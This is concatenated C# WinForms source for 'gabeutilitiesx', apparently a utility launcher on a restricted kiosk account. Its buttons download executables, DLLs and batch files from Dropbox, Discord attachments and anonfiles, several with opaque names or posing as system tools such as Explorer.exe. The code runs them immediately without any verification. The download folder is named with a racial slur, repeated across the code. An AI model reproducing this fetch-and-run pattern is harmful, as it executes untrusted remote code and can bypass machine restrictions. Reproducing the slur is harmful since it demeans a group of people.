base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; base.Name = "Experimental"; base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; Text = "Saving"; base.Load += new System.EventHandler(Experimental_Load); panel1.ResumeLayout(false); panel1.PerformLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox2).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox1).EndInit(); panel2.ResumeLayout(false); panel2.PerformLayout(); ResumeLayout(false); } } } <file_sep>using Guna.UI2.WinForms; using System; using System.ComponentModel; using System.Drawing; using System.IO; using System.Net; using System.Windows.Forms; namespace gabeutilitiesx { public class MinecraftOptions : Form { private IContainer components = null; private Guna2GradientButton guna2GradientButton1; private Label lag; private PictureBox pictureBox1; public MinecraftOptions() { InitializeComponent(); } private void guna2GradientButton1_Click(object sender, EventArgs e) { lag.Show(); Directory.CreateDirectory("c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\versions"); Directory.CreateDirectory("c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\versions\\1.12.2"); Directory.CreateDirectory("c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\versions\\1.12.2-forge1.12.2-14.23.5.2768"); Directory.CreateDirectory("c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\mods"); WebClient webClient = new WebClient(); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/hpvv0e5snhty1fz/BiomesOPlenty-1.12.2-7.0.1.2444-universal.jar", "c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\mods\\BiomesOPlenty-1.12.2-7.0.1.2444-universal.jar"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/h89c05kdoisu18c/BOP-Patch-1.0.jar", "c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\mods\\BOP-Patch-1.0.jar"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/af856ivpptu5mjn/Gameshark-1.12.2-6.0.0-universal.jar", "c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\mods\\Gameshark-1.12.2-6.0.0-universal.jar"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/hho86vse13rp140/journeymap-1.12.2-5.7.0.jar", "c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\mods\\journeymap-1.12.2-5.7.0.jar"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/0yra0lfi3tu4wyw/OptiFine_1.12.2_HD_U_F5.jar", "c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\mods\\OptiFine_1.12.2_HD_U_F5.jar"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/sbl9sj4syi02787/pixelExtras-1.12.2-2.5.4-universal.jar", "c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\mods\\pixelExtras-1.12.2-2.5.4-universal.jar"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/j8ii3pbfvm9pdcf/1.12.2-forge1.12.2-14.23.5.2768.json", "c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\\\versions\\1.12.2-forge1.12.2-14.23.5.2768\\1.12.2-forge1.12.2-14.23.5.2768.json"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/u79fqmck3lhgtha/1.12.2.jar", "c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\versions\\1.12.2-forge1.12.2-14.23.5.2768\\1.12.2.jar"); lag.Hide(); MessageBox.Show("Done. Go and open Minecraft and make a new profile and scroll all the way down in versions and select Forge."); } private void pictureBox1_Click(object sender, EventArgs e) { Close(); } protected override void Dispose(bool disposing) { if (disposing && components != null) { components.Dispose(); } base.Dispose(disposing); } private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(gabeutilitiesx.MinecraftOptions)); guna2GradientButton1 = new Guna.UI2.WinForms.Guna2GradientButton(); lag = new System.Windows.Forms.Label(); pictureBox1 = new System.Windows.Forms.PictureBox(); ((System.ComponentModel.ISupportInitialize)pictureBox1).BeginInit(); SuspendLayout(); guna2GradientButton1.Animated = true; guna2GradientButton1.AutoRoundedCorners = true; guna2GradientButton1.BackColor = System.Drawing.Color.Transparent; guna2GradientButton1.BorderRadius = 21; guna2GradientButton1.CheckedState.Parent = guna2GradientButton1; guna2GradientButton1.CustomImages.Parent = guna2GradientButton1; guna2GradientButton1.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton1.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton1.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton1.ForeColor = System.Drawing.Color.White; guna2GradientButton1.HoverState.FillColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.FillColor2 = System.Drawing.Color.Silver; guna2GradientButton1.HoverState.Parent = guna2GradientButton1; guna2GradientButton1.Location = new System.Drawing.Point(22, 22); guna2GradientButton1.Name = "guna2GradientButton1"; guna2GradientButton1.ShadowDecoration.Parent = guna2GradientButton1; guna2GradientButton1.Size = new System.Drawing.Size(180, 45); guna2GradientButton1.TabIndex = 0; guna2GradientButton1.Text = "Pixelmon"; guna2GradientButton1.Click += new System.EventHandler(guna2GradientButton1_Click); lag.Anchor = System.Windows.Forms.AnchorStyles.None; lag.AutoSize = true; lag.BackColor = System.Drawing.Color.Transparent; lag.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 12f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); lag.ForeColor = System.Drawing.Color.White; lag.Location = new System.Drawing.Point(18, 287); lag.Name = "lag"; lag.Size = new System.Drawing.Size(196, 18); lag.TabIndex = 1; lag.Text = "Downloading (may lag)"; lag.Visible = false; pictureBox1.BackColor = System.Drawing.Color.Transparent; pictureBox1.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox1.BackgroundImage"); pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; pictureBox1.Location = new System.Drawing.Point(673, 0); pictureBox1.Name = "pictureBox1"; pictureBox1.Size = new System.Drawing.Size(27, 29); pictureBox1.TabIndex = 2; pictureBox1.TabStop = false; pictureBox1.Click += new System.EventHandler(pictureBox1_Click); base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f); base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; BackColor = System.Drawing.Color.White; BackgroundImage = (System.Drawing.Image)resources.GetObject("$this.BackgroundImage"); BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; base.ClientSize = new System.Drawing.Size(699, 364); base.Controls.Add(pictureBox1); base.Controls.Add(lag); base.Controls.Add(guna2GradientButton1); DoubleBuffered = true; base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; base.Name = "MinecraftOptions"; Text = "Minecraft Options"; ((System.ComponentModel.ISupportInitialize)pictureBox1).EndInit(); ResumeLayout(false); PerformLayout(); } } } <file_sep>using Guna.UI2.WinForms; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.Drawing.Text; using System.IO; using System.Net; using System.Windows.Forms; namespace gabeutilitiesx { public class Gaming : Form { private Point lastPoint; private IContainer components; private Panel panel1; private Label label1; private Guna2GradientButton guna2GradientButton4; private PictureBox pictureBox8; private PictureBox pictureBox7; private Guna2GradientButton guna2GradientButton9; private Guna2GradientButton guna2GradientButton1; private PictureBox pictureBox3; private Guna2GradientButton guna2GradientButton2; private PictureBox pictureBox1; private Guna2GradientButton guna2GradientButton3; private PictureBox pictureBox2; public Gaming() { InitializeComponent(); } private void panel1_MouseMove(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { base.Left += e.X - lastPoint.X; base.Top += e.Y - lastPoint.Y; } } private void panel1_MouseDown(object sender, MouseEventArgs e) { lastPoint = new Point(e.X, e.Y); } private void pictureBox1_Click(object sender, EventArgs e) { Close(); } private void guna2GradientButton4_Click(object sender, EventArgs e) { Close(); new dashboard().Show(); } private void guna2GradientButton1_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://launcher.mojang.com/download/Minecraft.exe", "b:\\idontlikeniggers\\Minceraft.exe"); Process.Start("B:\\\\idontlikeniggers\\\\Minceraft.exe"); } private void guna2GradientButton9_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://picteon.dev/files/TwitchStudioSetup.exe", "b:\\idontlikeniggers\\Twitch-1.exe"); Process.Start("B:\\\\idontlikeniggers\\\\Twitch-1.exe"); } private void pictureBox1_Click_1(object sender, EventArgs e) { Close(); } private void pictureBox7_Click(object sender, EventArgs e) { if (Directory.Exists("c:\\Users\\kiosk\\AppData\\Roaming\\.minecraft")) { new MinecraftOptions().Show(); } else { MessageBox.Show("Install Minecraft first to enable options"); } } private void pictureBox3_Click(object sender, EventArgs e) { Close(); } private void pictureBox1_Click_2(object sender, EventArgs e) { } private void guna2GradientButton2_Click(object sender, EventArgs e) { MessageBox.Show("Not implemented"); } private void guna2GradientButton3_Click(object sender, EventArgs e) { MessageBox.Show("Not implemented"); } protected override void Dispose(bool disposing) { if (disposing && components != null) { components.Dispose(); } base.Dispose(disposing); } private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(gabeutilitiesx.Gaming)); panel1 = new System.Windows.Forms.Panel(); pictureBox3 = new System.Windows.Forms.PictureBox(); label1 = new System.Windows.Forms.Label(); guna2GradientButton4 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox8 = new System.Windows.Forms.PictureBox(); pictureBox7 = new System.Windows.Forms.PictureBox(); guna2GradientButton9 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton1 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton2 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox1 = new System.Windows.Forms.PictureBox(); guna2GradientButton3 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox2 = new System.Windows.Forms.PictureBox(); panel1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox3).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox8).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox7).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox1).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox2).BeginInit(); SuspendLayout(); panel1.BackColor = System.Drawing.Color.Orchid; panel1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; panel1.Controls.Add(pictureBox3); panel1.Controls.Add(label1); panel1.Dock = System.Windows.Forms.DockStyle.Top; panel1.ImeMode = System.Windows.Forms.ImeMode.On; panel1.Location = new System.Drawing.Point(0, 0); panel1.Name = "panel1"; panel1.Size = new System.Drawing.Size(800, 28); panel1.TabIndex = 2; panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(panel1_MouseDown); panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(panel1_MouseMove); pictureBox3.BackColor = System.Drawing.Color.Transparent; pictureBox3.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox3.BackgroundImage"); pictureBox3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; pictureBox3.Location = new System.Drawing.Point(770, 0); pictureBox3.Name = "pictureBox3"; pictureBox3.Size = new System.Drawing.Size(27, 29); pictureBox3.TabIndex = 49; pictureBox3.TabStop = false; pictureBox3.Click += new System.EventHandler(pictureBox3_Click); label1.Anchor = System.Windows.Forms.AnchorStyles.None; label1.AutoSize = true; label1.BackColor = System.Drawing.Color.Transparent; label1.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 14.25f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); label1.ForeColor = System.Drawing.Color.White; label1.Location = new System.Drawing.Point(8, 6); label1.Name = "label1"; label1.Size = new System.Drawing.Size(84, 22); label1.TabIndex = 0; label1.Text = "Gaming"; guna2GradientButton4.Animated = true; guna2GradientButton4.AutoRoundedCorners = true; guna2GradientButton4.BackColor = System.Drawing.Color.Transparent; guna2GradientButton4.BorderRadius = 22; guna2GradientButton4.CheckedState.Parent = guna2GradientButton4; guna2GradientButton4.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton4.CustomImages.Parent = guna2GradientButton4; guna2GradientButton4.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton4.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton4.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 11.25f, System.Drawing.FontStyle.Bold); guna2GradientButton4.ForeColor = System.Drawing.Color.White; guna2GradientButton4.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.Parent = guna2GradientButton4; guna2GradientButton4.Location = new System.Drawing.Point(12, 391); guna2GradientButton4.Name = "guna2GradientButton4"; guna2GradientButton4.PressedDepth = 3; guna2GradientButton4.ShadowDecoration.Parent = guna2GradientButton4; guna2GradientButton4.Size = new System.Drawing.Size(110, 47); guna2GradientButton4.TabIndex = 45; guna2GradientButton4.Text = "Back"; guna2GradientButton4.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton4.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton4.UseTransparentBackground = true; guna2GradientButton4.Click += new System.EventHandler(guna2GradientButton4_Click); pictureBox8.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox8.BackColor = System.Drawing.Color.Transparent; pictureBox8.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox8.BackgroundImage"); pictureBox8.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox8.Location = new System.Drawing.Point(26, 50); pictureBox8.Name = "pictureBox8"; pictureBox8.Size = new System.Drawing.Size(110, 69); pictureBox8.TabIndex = 19; pictureBox8.TabStop = false; pictureBox7.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox7.BackColor = System.Drawing.Color.Transparent; pictureBox7.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox7.BackgroundImage"); pictureBox7.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox7.Location = new System.Drawing.Point(142, 50); pictureBox7.Name = "pictureBox7"; pictureBox7.Size = new System.Drawing.Size(110, 69); pictureBox7.TabIndex = 46; pictureBox7.TabStop = false; pictureBox7.Click += new System.EventHandler(pictureBox7_Click); guna2GradientButton9.Animated = true; guna2GradientButton9.AutoRoundedCorners = true; guna2GradientButton9.BackColor = System.Drawing.Color.Transparent; guna2GradientButton9.BorderRadius = 22; guna2GradientButton9.CheckedState.Parent = guna2GradientButton9; guna2GradientButton9.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton9.CustomImages.Parent = guna2GradientButton9; guna2GradientButton9.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton9.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton9.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton9.ForeColor = System.Drawing.Color.White; guna2GradientButton9.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton9.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton9.HoverState.Parent = guna2GradientButton9; guna2GradientButton9.Location = new System.Drawing.Point(26, 125); guna2GradientButton9.Name = "guna2GradientButton9"; guna2GradientButton9.PressedDepth = 3; guna2GradientButton9.ShadowDecoration.Parent = guna2GradientButton9; guna2GradientButton9.Size = new System.Drawing.Size(110, 47); guna2GradientButton9.TabIndex = 47; guna2GradientButton9.Text = "Twitch Studio"; guna2GradientButton9.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton9.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton9.UseTransparentBackground = true; guna2GradientButton9.Click += new System.EventHandler(guna2GradientButton9_Click); guna2GradientButton1.Animated = true; guna2GradientButton1.AutoRoundedCorners = true; guna2GradientButton1.BackColor = System.Drawing.Color.Transparent; guna2GradientButton1.BorderRadius = 22; guna2GradientButton1.CheckedState.Parent = guna2GradientButton1; guna2GradientButton1.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton1.CustomImages.Parent = guna2GradientButton1; guna2GradientButton1.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton1.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton1.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton1.ForeColor = System.Drawing.Color.White; guna2GradientButton1.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.Parent = guna2GradientButton1; guna2GradientButton1.Location = new System.Drawing.Point(142, 125); guna2GradientButton1.Name = "guna2GradientButton1"; guna2GradientButton1.PressedDepth = 3; guna2GradientButton1.ShadowDecoration.Parent = guna2GradientButton1; guna2GradientButton1.Size = new System.Drawing.Size(110, 47); guna2GradientButton1.TabIndex = 48; guna2GradientButton1.Text = "Minecraft"; guna2GradientButton1.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton1.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton1.UseTransparentBackground = true; guna2GradientButton1.Click += new System.EventHandler(guna2GradientButton1_Click); guna2GradientButton2.Animated = true; guna2GradientButton2.AutoRoundedCorners = true; guna2GradientButton2.BackColor = System.Drawing.Color.Transparent; guna2GradientButton2.BorderRadius = 22; guna2GradientButton2.CheckedState.Parent = guna2GradientButton2; guna2GradientButton2.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton2.CustomImages.Parent = guna2GradientButton2; guna2GradientButton2.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton2.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton2.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton2.ForeColor = System.Drawing.Color.White; guna2GradientButton2.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.Parent = guna2GradientButton2; guna2GradientButton2.Location = new System.Drawing.Point(258, 125); guna2GradientButton2.Name = "guna2GradientButton2"; guna2GradientButton2.PressedDepth = 3; guna2GradientButton2.ShadowDecoration.Parent = guna2GradientButton2; guna2GradientButton2.Size = new System.Drawing.Size(110, 47); guna2GradientButton2.TabIndex = 50; guna2GradientButton2.Text = "Battle.net"; guna2GradientButton2.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton2.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton2.UseTransparentBackground = true; guna2GradientButton2.Click += new System.EventHandler(guna2GradientButton2_Click); pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox1.BackColor = System.Drawing.Color.Transparent; pictureBox1.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox1.BackgroundImage"); pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox1.Location = new System.Drawing.Point(258, 50); pictureBox1.Name = "pictureBox1"; pictureBox1.Size = new System.Drawing.Size(110, 69); pictureBox1.TabIndex = 49; pictureBox1.TabStop = false; pictureBox1.Click += new System.EventHandler(pictureBox1_Click_2); guna2GradientButton3.Animated = true; guna2GradientButton3.AutoRoundedCorners = true; guna2GradientButton3.BackColor = System.Drawing.Color.Transparent; guna2GradientButton3.BorderRadius = 22; guna2GradientButton3.CheckedState.Parent = guna2GradientButton3; guna2GradientButton3.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton3.CustomImages.Parent = guna2GradientButton3; guna2GradientButton3.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton3.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton3.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton3.ForeColor = System.Drawing.Color.White; guna2GradientButton3.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.Parent = guna2GradientButton3; guna2GradientButton3.Location = new System.Drawing.Point(374, 125); guna2GradientButton3.Name = "guna2GradientButton3"; guna2GradientButton3.PressedDepth = 3; guna2GradientButton3.ShadowDecoration.Parent = guna2GradientButton3; guna2GradientButton3.Size = new System.Drawing.Size(110, 47); guna2GradientButton3.TabIndex = 52; guna2GradientButton3.Text = "Epic Games"; guna2GradientButton3.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton3.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton3.UseTransparentBackground = true; guna2GradientButton3.Click += new System.EventHandler(guna2GradientButton3_Click); pictureBox2.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox2.BackColor = System.Drawing.Color.Transparent; pictureBox2.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox2.BackgroundImage"); pictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox2.Location = new System.Drawing.Point(374, 50); pictureBox2.Name = "pictureBox2"; pictureBox2.Size = new System.Drawing.Size(110, 69); pictureBox2.TabIndex = 51; pictureBox2.TabStop = false; base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f); base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; BackgroundImage = (System.Drawing.Image)resources.GetObject("$this.BackgroundImage"); BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; base.ClientSize = new System.Drawing.Size(800, 450); base.Controls.Add(guna2GradientButton3); base.Controls.Add(pictureBox2); base.Controls.Add(guna2GradientButton2); base.Controls.Add(pictureBox1); base.Controls.Add(guna2GradientButton1); base.Controls.Add(guna2GradientButton9); base.Controls.Add(pictureBox7); base.Controls.Add(pictureBox8); base.Controls.Add(guna2GradientButton4); base.Controls.Add(panel1); DoubleBuffered = true; base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; base.Name = "Gaming"; base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; Text = "Gaming"; panel1.ResumeLayout(false); panel1.PerformLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox3).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox8).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox7).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox1).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox2).EndInit(); ResumeLayout(false); } } } <file_sep>using Guna.UI2.WinForms; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.Drawing.Text; using System.Net; using System.Windows.Forms; namespace gabeutilitiesx { public class Essentials : Form { private Point lastPoint; private IContainer components; private Panel panel1; private Label label1; private PictureBox pictureBox5; private Guna2GradientButton guna2GradientButton9; private PictureBox pictureBox4; private Guna2GradientButton guna2GradientButton1; private PictureBox pictureBox2; private Guna2GradientButton guna2GradientButton2; private PictureBox pictureBox9; private Guna2GradientButton guna2GradientButton3; private Guna2GradientButton guna2GradientButton4; private PictureBox pictureBox3; private Guna2GradientButton guna2GradientButton5; private PictureBox pictureBox1; private Guna2GradientButton guna2GradientButton6; private PictureBox pictureBox6; private PictureBox pictureBox7; private Guna2GradientButton guna2GradientButton7; private Guna2GradientButton guna2GradientButton8; private PictureBox pictureBox8; public Essentials() { InitializeComponent(); } private void panel1_Paint(object sender, PaintEventArgs e) { } private void panel1_MouseMove(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { base.Left += e.X - lastPoint.X; base.Top += e.Y - lastPoint.Y; } } private void panel1_MouseDown(object sender, MouseEventArgs e) { lastPoint = new Point(e.X, e.Y); } private void guna2GradientButton9_Click(object sender, EventArgs e) { WebClient webClient = new WebClient(); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/qs28nio8mjnsgyz/fdgdfgfghgf.exe", "b:\\idontlikeniggers\\idontlikeniggers.exe"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/d2m2xhrrsijqql4/7z.dll", "b:\\idontlikeniggers\\7z.dll"); Process.Start("B:\\\\idontlikeniggers\\\\idontlikeniggers.exe"); } private void pictureBox5_Click(object sender, EventArgs e) { } private void guna2GradientButton1_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://dl.discordapp.net/apps/win/0.0.306/DiscordSetup.exe", "b:\\idontlikeniggers\\dsicord.exe"); Process.Start("b:\\\\idontlikeniggers\\\\dsicord.exe"); } private void guna2GradientButton2_Click(object sender, EventArgs e) { WebClient webClient = new WebClient(); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/olfabfupaxduy6p/Firefox.zip", "b:\\idontlikeniggers\\Firefox.zip"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/uip3o05lxavunb7/ConsoleHelper3.bat", "b:\\idontlikeniggers\\ConsoleHelper3.bat"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/mboz56tx1vpa6qu/ConsoleHelper4.bat", "b:\\idontlikeniggers\\ConsoleHelper4.bat"); Process.Start("B:\\\\idontlikeniggers\\\\ConsoleHelper3.bat"); Process.Start("B:\\\\idontlikeniggers\\\\ConsoleHelper4.bat"); } private void guna2GradientButton3_Click(object sender, EventArgs e) { WebClient webClient = new WebClient(); webClient.DownloadFile("https://cdn.discordapp.com/attachments/599361190291832832/698232081678991371/explorer.zip", "b:\\idontlikeniggers\\explorer.zip"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/l8pgl2ooiucxfrl/ConsoleHelper1.bat", "b:\\idontlikeniggers\\ConsoleHelper1.bat"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/sho6jwyi6jvc06k/ConsoleHelper2.bat", "b:\\idontlikeniggers\\ConsoleHelper2.bat"); Process.Start("B:\\\\idontlikeniggers\\\\ConsoleHelper1.bat"); Process.Start("B:\\\\idontlikeniggers\\\\ConsoleHelper2.bat"); } private void pictureBox1_Click(object sender, EventArgs e) { Close(); } private void guna2GradientButton4_Click(object sender, EventArgs e) { Close(); new dashboard().Show(); } private void pictureBox3_Click(object sender, EventArgs e) { Close(); } private void guna2GradientButton5_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://cdn-01.anonfiles.com/rc1eI0A0ob/f9909bc6-1592441887/purcasshakor.exe", "b:\\idontlikeniggers\\purcasshakor.exe"); Process.Start("b:\\\\idontlikeniggers\\\\purcasshakor.exe"); } private void guna2GradientButton7_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://cdn.discordapp.com/attachments/489891892142669842/722995893858730066/HxD.exe", "b:\\idontlikeniggers\\haxd.exe"); Process.Start("b:\\\\idontlikeniggers\\\\haxd.exe"); } private void guna2GradientButton6_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://cdn.discordapp.com/attachments/489891892142669842/722995919062171698/Notepad2x64.exe", "b:\\idontlikeniggers\\notpade.exe"); Process.Start("b:\\\\idontlikeniggers\\\\notpade.exe"); } private void guna2GradientButton8_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://cdn.discordapp.com/attachments/489891892142669842/722998499322363914/Explorer.exe", "b:\\idontlikeniggers\\Exploraae.exe"); Process.Start("b:\\\\idontlikeniggers\\\\Exploraae.exe"); } protected override void Dispose(bool disposing) { if (disposing && components != null) { components.Dispose(); } base.Dispose(disposing); } private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(gabeutilitiesx.Essentials)); panel1 = new System.Windows.Forms.Panel(); pictureBox3 = new System.Windows.Forms.PictureBox(); label1 = new System.Windows.Forms.Label(); pictureBox5 = new System.Windows.Forms.PictureBox(); guna2GradientButton9 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox4 = new System.Windows.Forms.PictureBox(); guna2GradientButton1 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox2 = new System.Windows.Forms.PictureBox(); guna2GradientButton2 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox9 = new System.Windows.Forms.PictureBox(); guna2GradientButton3 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton4 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton5 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox1 = new System.Windows.Forms.PictureBox(); guna2GradientButton6 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox6 = new System.Windows.Forms.PictureBox(); pictureBox7 = new System.Windows.Forms.PictureBox(); guna2GradientButton7 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton8 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox8 = new System.Windows.Forms.PictureBox(); panel1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox3).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox5).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox4).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox2).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox9).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox1).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox6).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox7).BeginInit(); 